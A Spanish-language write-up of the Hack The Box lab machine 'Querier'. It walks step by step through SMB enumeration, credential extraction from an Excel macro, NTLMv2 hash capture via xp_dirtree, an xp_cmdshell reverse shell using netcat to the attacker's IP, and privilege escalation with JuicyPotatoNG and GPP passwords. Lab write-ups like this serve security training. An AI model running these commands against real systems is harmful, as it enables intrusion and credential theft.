Entrada

Querier Writeup

Querier

Maquina windows con SMB expuesto , un archivo XLSM con informacion de una base de datos, dos vias para escalar privilegios.

Reconocimiento.

1
>sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.10.10.125
1
>nmap -sCV -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 -Pn 10.10.10.125 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# Nmap 7.93 scan initiated Thu Nov 17 21:02:09 2022 as: nmap -sCV -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 -Pn -oN scanport 10>
Nmap scan report for 10.10.10.125
Host is up (0.043s latency).

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-11-17T16:05:16
|_Not valid after:  2052-11-17T16:05:16
|_ssl-date: 2022-11-17T20:03:12+00:00; 0s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2022-11-17T20:03:05
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 17 21:03:12 2022 -- 1 IP address (1 host up) scanned in 63.07 seconds

Enumeracion.

Puerto 445. Usaremos smbmap para ver si tenemos recursos compratidos.

1
2
3
4
5
6
7
8
9
10
>smbmap -H 10.10.10.25 -u 'null' -p ''

[+] Guest session   	IP: 10.10.10.125:445	Name: htb.local                                         
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	Reports                                           	READ ONLY
	

Tenemos el recurso Reports

1
2
3
4
5
6
7
8
9
10
smbmap -H 10.10.10.125 -u 'null' -p '' -r 'Reports'
[+] Guest session   	IP: 10.10.10.125:445	Name: htb.local                                         
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	Reports                                           	READ ONLY	
	.\Reports\*
	dr--r--r--                0 Tue Jan 29 00:26:31 2019	.
	dr--r--r--                0 Tue Jan 29 00:26:31 2019	..
	fr--r--r--            12229 Tue Jan 29 00:26:31 2019	Currency Volume Report.xlsm

Dentro hay un archivo XLSM, vamos a descargarlo.

1
2
3
4
>smbmap -H 10.10.10.125 -u 'null' -p '' --download 'Reports/Currency Volume Report.xlsm'
[+] Starting download: Reports\Currency Volume Report.xlsm (12229 bytes)
[+] File output to: /home/r4m3200/Escritorio/HTB/Querier/nmap/10.10.10.125-Reports_Currency Volume Report.xlsm

Examinemos el archivo.

1
2
❯ file report.xlsm
report.xlsm: Microsoft Excel 2007+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
❯ exiftool report.xlsm
ExifTool Version Number         : 12.49
File Name                       : report.xlsm
Directory                       : .
File Size                       : 12 kB
File Modification Date/Time     : 2022:11:17 22:39:18+01:00
File Access Date/Time           : 2022:11:19 19:51:31+01:00
File Inode Change Date/Time     : 2022:11:17 22:39:39+01:00
File Permissions                : -rw-r--r--
File Type                       : XLSM
File Type Extension             : xlsm
MIME Type                       : application/vnd.ms-excel.sheet.macroEnabled.12
Zip Required Version            : 20
Zip Bit Flag                    : 0x0006
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x513599ac
Zip Compressed Size             : 367
Zip Uncompressed Size           : 1087
Zip File Name                   : [Content_Types].xml
Creator                         : Luis
Last Modified By                : Luis
Create Date                     : 2019:01:21 20:38:56Z
Modify Date                     : 2019:01:27 22:21:34Z
Application                     : Microsoft Excel
Doc Security                    : None
Scale Crop                      : No
Heading Pairs                   : Worksheets, 1
Titles Of Parts                 : Currency Volume
Company                         : 
Links Up To Date                : No
Shared Doc                      : No
Hyperlinks Changed              : No
App Version                     : 16.0300

Con exiftool vemos el creador, la fecha y que tiene una macro habilitada.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
❯ olevba -c report.xlsm
olevba 0.60.1 on Python 3.10.8 - http://decalage.info/python/oletools
===============================================================================
FILE: report.xlsm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

' macro to pull data for client volume reports
'
' further testing required

Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open

If conn.State = adStateOpen Then

  'MsgBox "connection successful"
 
  'Set rs = conn.Execute("SELECT * @@version;")
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs
  rs.Close

End If

End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)

La tool olevba nos permite analizar mas a fondo el archivo, vemos que la macro es para conectarse a un base de datos.

Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"

Tenemos un usuario reporting y una contraseña PcwTWTHRwryjc$c6 comprobamos con Crackmapexec.

1
2
3
❯ cme smb 10.10.10.125 -u 'reporting' -p 'PcwTWTHRwryjc$c6' -d WORKGROUP
SMB         10.10.10.125    445    QUERIER          [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:WORKGROUP) (signing:False) (SMBv1:False)
SMB         10.10.10.125    445    QUERIER          [+] WORKGROUP\reporting:PcwTWTHRwryjc$c6 

Las credenciales son validas, la usaremos para intentar conectarnos a la base de datos con impacket-mssqlclient

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ impacket-mssqlclient WORKGROUP/reporting@10.10.10.125 -windows-auth
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL> 

Comprobamos si tenemos el xp_cmdshell habilitado.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
SQL> help

     lcd {path}                 - changes the current local directory to {path}
     exit                       - terminates the server process (and this session)
     enable_xp_cmdshell         - you know what it means
     disable_xp_cmdshell        - you know what it means
     xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
     sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
     ! {cmd}                    - executes a local shell cmd
     
SQL> enable_xp_cmdshell
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
[-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.
[-] ERROR(QUERIER): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
[-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.
SQL> 

No te nemos permiso para ejecutar comandos, pero si se puede usar el xp_dirtree, si creamos un recurso compartido con impacket-smbserver se puede obtener un hash NTLM-v2 que se puede crackear con john.

1
2
SQL> xp_dirtree '\\10.10.14.9\smbFolder'
subdirectory                            
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.125,49678)
[*] AUTHENTICATE_MESSAGE (QUERIER\mssql-svc,QUERIER)
[*] User QUERIER\mssql-svc authenticated successfully
[*] mssql-svc::QUERIER:aaaaaaaaaaaaaaaa:5cf3053c7e8782fed4d742cc98dd3294:010100000000000080cc5d404dfcd8012e1d4aaef03691ef000000000100100055006900440064006d004c00640057000300100055006900440064006d004c0064005700020010004500740052007700630050005800520004001000450074005200770063005000580052000700080080cc5d404dfcd801060004000200000008003000300000000000000000000000003000004b66ba889951c5afb9413dc5e404c92f815228f34683d759418e78780ac9551a0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e003900000000000000000000000000
[*] Connecting Share(1:smbFolder)
[*] AUTHENTICATE_MESSAGE (\,QUERIER)
[*] User QUERIER\ authenticated successfully

Tenemos el hash NTLM-v2 del usuario mssql-svc, vamos a crackearlo john.

1
2
3
4
❯ john --show hash
mssql-svc:corporate568:QUERIER:aaaaaaaaaaaaaaaa:62a9279b131c5842829f5dafb121eee7:0101000000000000006f0e01d9fad80171ddca70e4f9acb9000000000100100075006400500048007a004b0077004c000300100075006400500048007a004b0077004c000200100051006900700052005a0062007a0057000400100051006900700052005a0062007a00570007000800006f0e01d9fad80106000400020000000800300030000000000000000000000000300000295e0cd3610d01db905acbe05f2fab52f3cfa4fa76e4e00a230d2f33c30d7d160a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e003900000000000000000000000000

1 password hash cracked, 0 left

Con esta nueva credencial del usuario mssql-sv y su contraseña corporate568 usaremos de nuevo la tool impacket-mssqlclient.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ impacket-mssqlclient WORKGROUP/mssql-svc@10.10.10.125 -windows-auth
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL> 

Las credenciales son validas y con este usuario si se puede habilitar el xp_cmdshell.

1
2
3
4
SQL> enable_xp_cmdshell
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> 

Comprobamos ejecutando un comando.

1
2
3
4
5
6
7
8
SQL> xp_cmdshell "whoami"
output                                                                             

--------------------------------------------------------------------------------   

querier\mssql-svc                                                                  

NULL                                                                               

Intrusion.

Con xp_cmdshell se puede ejecutar un programa como netcat desde un recurso compartido y asi tener una revershell , usamos impacket-smbserver y nos ponemos en escuhca con nc.

1
SQL> xp_cmdshell "\\10.10.14.9\smbFolder\nc64.exe -e cmd 10.10.14.9 443"
1
2
3
4
5
6
7
8
9
10
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...

connect to [10.10.14.9] from (UNKNOWN) [10.10.10.125] 49684
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
querier\mssql-svc

Escalar privilegios.

Tenemos dos formas de escalar privilegios en esta maquina.

Way-1 SeImpersonatePrivilege

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\Users\mssql-svc\Desktop>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
``SeImpersonatePrivilege``        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Con SeImpersonatePrivilege se puede ejecutar comando como administrador con la tool JuicyPotatoNG.exe

JuicyPotatoNG.exe esta actualizada y se puede usar para windows server 2019

Copiamos el JuicyPotatoNG.exe en la maquina victima usando de nuevo el smbserver.

1
2
3
C:\Windows\Temp\admin>copy \\10.10.14.9\smbFolder\JuicyPotatoNG.exe
copy \\10.10.14.9\smbFolder\JuicyPotatoNG.exe
        1 file(s) copied.

Ejecutamos el prgorama para obtener una consola con privilegios de administrador.

1
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -i
1
2
3
4
5
6
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\>whoami
whoami
nt authority\system

De esta forma somos administradores.

Way-2 Credenciales almacenadas en el sistema.

Si enumeramos el sistema con PowerUp.ps1 obtenemos una ruta con unas credenciales almacenadas en un archivo xml

GPP Passwords (preferencias de directivas de grupo) Cada vez que se crea una nueva preferencia de grupo, se crea un archivo xml en el recurso compartido SYSVOL con esos datos de configuracion, incluidas las contraseñas asociadas co el GPP. Por seguridad, Microsoft AES encripta la contraseña antes de almacenarla como cpassword, ¡pero luego Microsoft publico la clave en MSDN!. Se pueden decifrar con la tool gpp-decrypt

El archivo xml contiene la clave encriptada cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ

1
2
3
4
5
6
7
Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName   : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File      : C:\ProgramData\Microsoft\Group 
            Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Check     : Cached GPP Files

Tenemos el usuario Administrator y la contraseña MyUnclesAreMarioAndLuigi!!1!, comprobamos con crackmapexec .

1
2
3
❯ cme smb 10.10.10.125 -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1!' -d WORKGROUP
SMB         10.10.10.125    445    QUERIER          [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:WORKGROUP) (signing:False) (SMBv1:False)
SMB         10.10.10.125    445    QUERIER          [+] WORKGROUP\Administrator:MyUnclesAreMarioAndLuigi!!1! (Pwn3d!)

En el reporte de nmap tenemos el puerto 5985 abierto , con evil-winrm tenemos acceso a la maquina victima.

1
2
3
4
5
6
7
8
9
10
11
12
❯ evil-winrm -i 10.10.10.125 -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1!'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\Administrator\Documents> whoami
querier\administrator

De esta segunda forma somos administradores.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.